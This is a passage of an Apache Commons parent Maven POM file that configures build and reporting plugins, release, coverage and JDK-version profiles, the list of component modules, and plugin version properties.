</plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.1</version>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <fork>${commons.compiler.fork}</fork>\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <!-- Apache parent includes docck and enforcer -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <!-- Apache parent: invoker -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${commons.javadoc.version}</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <notimestamp>true</notimestamp>\n            <links>\n              <link>${commons.javadoc.java.link}</link>\n              <link>${commons.javadoc.javaee.link}</link>\n            </links>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <!-- TODO see above - find better way to add N&L files to jars and test jars -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <!-- override old version from Apache pom 9 -->\n          <version>1.4</version>\n          <configuration>\n            <!--\n                Apache parent POM automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplicating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <!-- Apache parent: scm -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>${commons.site-plugin.version}</version>\n          <configuration>\n            <!-- don't deploy site with maven-site-plugin -->\n            <skipDeploy>true</skipDeploy>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.2.1</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.4</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.4.0</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>${commons.rat.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n            <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n        </plugin>\n        <!-- Apache parent: plexus & modello -->\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <target>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Build>${implementation.build}</Implementation-Build>\n              <X-Compile-Source-JDK>${maven.compiler.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compiler.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <!--\n            dummy entry to stop bundle plugin from picking up jar config and reporting\n            WARNING: Duplicate name in Manifest\n            See http://markmail.org/message/mpkl24wk3jrjhhjg\n          -->\n          <archive>\n            <forced>true</forced>\n          </archive>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>${project.build.directory}/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <!-- Needed for command-line access, e.g mvn apache-rat:rat and mvn apache-rat:check -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in reporting section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries \n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>      \n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>1.0-beta-2</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:${commons.scmPubUrl}</pubScmUrl>\n          <checkoutDirectory>${commons.scmPubCheckoutDirectory}</checkoutDirectory>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <xmlPath>${basedir}/src/changes/changes.xml</xmlPath>\n          <columnNames>Fix Version,Key,Component,Summary,Type,Resolution,Status</columnNames>\n          <!-- Sort cols in natural order when using JQL for JIRA 5.1 -->\n          <sortColumnNames>Fix Version DESC,Type,Key DESC</sortColumnNames>\n          <resolutionIds>Fixed</resolutionIds>\n          <statusIds>Resolved,Closed</statusIds>\n          <!-- Don't include sub-task -->\n          <typeIds>Bug,New Feature,Task,Improvement,Wish,Test</typeIds>\n          <!-- For JIRA >= 5.1 -->\n          <useJql>true</useJql>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${commons.javadoc.version}</version>\n        <configuration>\n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compiler.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docencoding>${commons.docEncoding}</docencoding>\n          <notimestamp>true</notimestamp>\n          <linksource>true</linksource>\n          <!-- prevent svnpub to be too much noisy -->\n          <notimestamp>true</notimestamp>\n          <links>\n            <link>${commons.javadoc.java.link}</link>\n            <link>${commons.javadoc.javaee.link}</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>${commons.jxr.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>${commons.project-info.version}</version>\n        <!-- \n            Unfortunately it does not appear to be possible to override\n            reports configured in a parent POM.\n            See https://jira.codehaus.org/browse/MPIR-241\n            and https://issues.apache.org/jira/browse/MPOM-32\n            So we define here all those reports that are suitable for\n            all components. \n            Components can add extra reports if they wish, but cannot disable any.\n        -->\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n<!--          <report>license</report>               site must link to ASF page instead  -->\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n<!--          <report>plugin-management</report>      not very useful for end users -->\n<!--          <report>plugins</report>                not very useful for end users -->\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>      \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>${commons.site-plugin.version}</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire.version}</version>\n        <configuration>\n          <aggregate>${commons.surefire-report.aggregate}</aggregate>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in build section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries \n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>      \n      </plugin>\n      <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n              <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>${commons.jdepend.version}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n\n    <profile>\n      <id>jacoco</id>\n      <activation>\n        <!--\n            N.B. in spite of what the Maven docs may say,\n            activation conditions are ORed together, see:\n            http://jira.codehaus.org/browse/MNG-4565\n            Fairly useless, but that's what was done in\n            http://jira.codehaus.org/browse/MNG-3106\n\n            So we cannot also check for Java 1.5+\n            This should not be a problem now as the profile is optional.\n            Components that still target Java 1.4 or earlier\n            just need to ensure they don't use JaCoCo by default.\n        -->\n        <file>\n          <exists>src/site/resources/profile.jacoco</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n          <groupId>org.jacoco</groupId>\n          <artifactId>jacoco-maven-plugin</artifactId>\n          <version>${commons.jacoco.version}</version>\n          <!-- Note that since JaCoCo relies on an agent to perform tests,\n               it changes the surefire arguments line. If a component also\n               needs to change the argument line of maven-surefire-plugin,\n               then it must add ${argLine} property (which is set by JaCoCo)\n               in the argLine configuration element of maven-surefire-plugin\n               to preserve JaCoCo settings. -->\n          <executions>\n            <execution>\n              <id>prepare-agent</id>\n              <phase>process-test-classes</phase>\n              <goals>\n                <goal>prepare-agent</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>report</id>\n              <phase>site</phase>\n              <goals>\n                <goal>report</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>check</id>\n              <goals>\n                <goal>check</goal>\n              </goals>\n              <configuration>\n                <check>\n                  <classRatio>${commons.jacoco.classRatio}</classRatio>\n                  <instructionRatio>${commons.jacoco.instructionRatio}</instructionRatio>\n                  <methodRatio>${commons.jacoco.methodRatio}</methodRatio>\n                  <branchRatio>${commons.jacoco.branchRatio}</branchRatio>\n                  <complexityRatio>${commons.jacoco.complexityRatio}</complexityRatio>\n                  <lineRatio>${commons.jacoco.lineRatio}</lineRatio>\n                </check>\n                <haltOnFailure>${commons.jacoco.haltOnFailure}</haltOnFailure>\n              </configuration>\n            </execution>\n          </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <profile>\n      <id>cobertura</id>\n      <activation>\n        <file>\n          <exists>src/site/resources/profile.cobertura</exists>\n        </file>\n      </activation>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>${commons.cobertura.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <!--\n         Profile for Commons releases via Nexus.\n         Assembles artifacts, creates source and javadoc jars, signs them and adds hashes. \n    -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>javadoc</goal>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n            <configuration>\n              <source>${maven.compiler.source}</source>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <inherited>true</inherited>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n     <!-- \n       profile to update the Apache parent pom profile of the same name\n       to better suit the requirements of Apache Commons.\n       [Requires further work]\n     -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n                <releaseProfiles>apache-release</releaseProfiles>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-test-sources</id>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.3\n       (JAVA_1_3_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.3</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.3</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_3_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_3_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.4\n       (JAVA_1_4_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.4</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.4</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_4_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_4_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.5\n       (JAVA_1_5_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.5</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.5</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_5_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_5_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.6\n       (JAVA_1_6_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.6</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.6</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_6_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_6_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!--\n       Profile for running the build using JDK 1.7\n       (JAVA_1_7_HOME needs to be defined, e.g. in settings.xml or an environment variable)\n      -->\n    <profile>\n      <id>java-1.7</id>\n      <properties>\n        <commons.compiler.fork>true</commons.compiler.fork>\n        <commons.compiler.compilerVersion>1.7</commons.compiler.compilerVersion>\n        <commons.compiler.javac>${JAVA_1_7_HOME}/bin/javac</commons.compiler.javac>\n        <commons.surefire.java>${JAVA_1_7_HOME}/bin/java</commons.surefire.java>\n      </properties>\n    </profile>\n\n    <!-- N.B. when adding new java profiles, be sure to update\n         the _removeheaders list in the maven_bundle_plugin configuration -->\n\n    <!--\n     | Profile to allow testing of deploy phase\n     | e.g.\n     | mvn deploy -Ptest-deploy -Prelease -Dgpg.skip\n     -->\n    <profile>\n      <id>test-deploy</id>\n      <properties>\n        <altDeploymentRepository>id::default::file:target/deploy</altDeploymentRepository>\n      </properties>\n    </profile>\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convenience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <!-- not yet using mvn module>../attributes</module-->\n        <module>../bcel</module>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../compress</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../functor</module>\n        <module>../imaging</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jcs</module>\n        <!-- not yet using mvn module>../jelly</module-->\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../ognl</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../scxml</module>\n        <!-- not yet using mvn module>../transaction</module-->\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n\n    <!--\n        Configure site plugin to support both Maven2 and Maven3, see:\n        http://maven.apache.org/plugins/maven-site-plugin/maven-3.html#Using_the_same_version_of_maven-site-plugin_for_both_Maven_2_and_Maven_3\n    -->\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  The basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                  <!-- add support for ssh/scp -->\n                  <groupId>org.apache.maven.wagon</groupId>\n                  <artifactId>wagon-ssh</artifactId>\n                  <version>${commons.wagon-ssh.version}</version>\n                </dependency>\n              </dependencies>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <!--\n          Generate release notes in top-level directory from src/changes/changes.xml\n          Usage:\n          mvn changes:announcement-generate -Prelease-notes [-Dchanges.version=nnn]\n\n          Defining changes.version allows one to create the RN without first removing the SNAPSHOT suffix.\n\n          Requires file src/changes/release-notes.vm.\n          A sample template is available from:\n          https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk/src/changes/release-notes.vm\n       -->\n      <id>release-notes</id>\n      <build>\n        <plugins>\n           <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>${commons.changes.version}</version>\n            <configuration>\n              <template>release-notes.vm</template>\n              <templateDirectory>src/changes</templateDirectory>\n              <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n              <outputDirectory>.</outputDirectory>\n              <announcementFile>RELEASE-NOTES.txt</announcementFile>\n              <announceParameters>\n                <releaseVersion>${commons.release.version}</releaseVersion>\n              </announceParameters>\n            </configuration>\n            <executions>\n              <execution>\n                <id>create-release-notes</id>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>announcement-generate</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!-- \n        Automatically run the buildnumber plugin unless the buildNumber.skip property is defined as true\n    -->\n    <profile>\n     <id>svn-buildnumber</id>\n     <activation>\n       <property><name>!buildNumber.skip</name><value>!true</value></property>\n     </activation>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.codehaus.mojo</groupId>\n           <artifactId>buildnumber-maven-plugin</artifactId>\n           <executions>\n             <execution>\n               <phase>generate-resources</phase>\n               <goals>\n                 <goal>create</goal>\n               </goals>\n             </execution>\n           </executions>\n           <configuration>\n             <!-- Use committed revision so it does not change every time svn update is run -->\n             <useLastCommittedRevision>true</useLastCommittedRevision>\n             <!-- default revision number if unavailable -->\n             <revisionOnScmFailure>??????</revisionOnScmFailure>\n             <doCheck>false</doCheck>\n             <doUpdate>false</doUpdate>\n           </configuration>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n   <!-- optional profile to use javasvn instead of the SVN CLI for the buildNumber plugin -->\n   <profile>\n     <id>javasvn</id>\n     <build>\n       <plugins>\n         <plugin>\n           <groupId>org.codehaus.mojo</groupId>\n           <artifactId>buildnumber-maven-plugin</artifactId>\n           <configuration>\n             <providerImplementations>\n               <svn>javasvn</svn>\n             </providerImplementations>\n           </configuration>\n         </plugin>\n       </plugins>\n     </build>\n   </profile>\n\n  </profiles>\n\n  <properties>\n    <!-- configuration bits for cutting a release candidate, must be overridden by components -->\n    <commons.release.version>${project.version}</commons.release.version>\n    <commons.rc.version>RC1</commons.rc.version>\n    <commons.jira.id>COMMONSSITE</commons.jira.id>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <!-- Do NOT change this; it must remain as 1.3 -->\n    <maven.compiler.source>1.3</maven.compiler.source>\n    <maven.compiler.target>1.3</maven.compiler.target>\n\n    <!-- compiler and surefire plugin settings for \"java\" profiles -->\n    <commons.compiler.fork>false</commons.compiler.fork>\n    <commons.compiler.compilerVersion />\n    <commons.compiler.javac />\n    <commons.surefire.java />\n\n    <!-- plugin versions (allows same value in reporting and build sections) -->\n    <commons.surefire.version>2.15</commons.surefire.version>\n    <commons.surefire-report.version>2.15</commons.surefire-report.version>\n    <!-- 2.9.1 includes fix for Javadoc vulnerability (CVE-2013-1571, VU#225657) MJAVADOC-370 -->\n    <commons.javadoc.version>2.9.1</commons.javadoc.version>\n    <!-- \n      For RAT 0.9, make sure you <exclude>site-content/**/*</exclude> in your POM if you overrdide the configuration\n      If you do not exclude site-content, RAT will take a long time to run, for example, 1 hour for Commons IO. \n    -->\n    <commons.rat.version>0.9</commons.rat.version>\n    <commons.changes.version>2.9</commons.changes.version>\n    <commons.clirr.version>2.5</commons.clirr.version>\n    <commons.jxr.version>2.3</commons.jxr.version>\n    <commons.project-info.version>2.7</commons.project-info.version>\n    <commons.wagon-ssh.version>2.3</commons.wagon-ssh.version>\n    